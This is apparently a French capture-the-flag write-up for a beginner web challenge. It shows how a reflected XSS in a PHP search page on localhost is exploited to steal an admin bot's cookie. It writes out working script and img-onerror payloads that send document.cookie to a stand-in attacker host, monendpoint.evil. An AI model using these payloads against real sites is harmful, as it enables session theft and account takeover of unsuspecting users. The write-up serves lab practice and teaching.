Solution de cos-imo pour Random Search

intro web PHP bot

12 décembre 2023

Static badge Static badge Static badge Static badge Static badge

Documentation recommandée

Découverte du site

Commençons par nous balader un peu sur le site.
On trouve plusieurs pages :

En recherchant un terme quelconque, par exemple test, on voit que l’adresse se modifie en http://localhost:8000/index.php?search=test
Tentons donc de jouer un peu avec !

Premières injections

Nous allons donc tenter de modifier l’URL précédente afin de pouvoir exécuter du code. Commençons par tenter de déclencher une “simple alerte”:

http://localhost:8000/index.php?search=<script>alert(1)</script>

Parfait, ça marche !
Désormais, tentons de se servir du même principe pour afficher les cookies (rappel : on veut récupérer les cookies de l’administrateur) :

http://localhost:8000/index.php?search=<script>alert(document.cookie)</script>

Et voilà !

Utilisation d’un endpoint

Nous allons désormais nous servir d’un endpoint pour récupérer les cookies.
En effet, l’utilisation de alert ne permetque d’afficher sur le navigateur du client; ainsi, si nous envoyons l’adresse telle quelle à l’admin, ses cookies vont s’afficher sur son navigateur, et nous n’aurons rien… Pour cela, nous allons créer notre serveur, et demander à l’administrateur d’aller sur http://monserveur/cookie=<cookie><cookie> est le cookie nous intéressant.
Ainsi, nous n’aurons plus qu’à regarder quelles pages de notre serveur ont été consultées et nous aurons le cookie :) La suite du write-up suppose donc que vous ayez un tel serveur à votre disposition, à l’adresse http://monendpoint.evil/. Si ce n’est pas le cas, vous pouvez vous pencher sur des solutions telles que RequestBin.

Construction de l’URL malveillante

Il ne nous reste désormais plus qu’à construire une URL qui, lorsqu’elle est demandée, accède à http://monendpoint.evil/cookie=<cookie>. Parmi les différentes possibilitées (voir la documentation fournie), nous ferons ici le choix de nous servir de la balise <img>. On peut en effet demander à celle-ci d’exécuter du code en cas d’erreur, comme précédemment avec alert.
On peut ainsi se servir de window.location pour rediriger l’utilisateur vers une page web arbitraire:

<img src=x onerror="http://monendpoint.evil/cookie="/>

Ainsi en accédant à l’URL suivante (Attention ! Ne pas oublier de l’encoder !) :

http://localhost:8000/index.php?search=<img%20src=x%20onerror=window.location="http://monendpoint.evil/cookie="/>

Vous devriez déjà voir une requête apparaître sur votre endpoint.
Il ne nous reste plus qu’à ajouter le cookie, et l’URL est prête :

http://localhost:8000/index.php?search=<img src=x onerror=window.location="http://monendpoint.evil/cookie=".concat(document.cookie)/>

Envoi de l’URL et fin du challenge

Il ne nous reste plus qu’à envoyer l’URL précédente sur la page contact, et on récupère le flag :)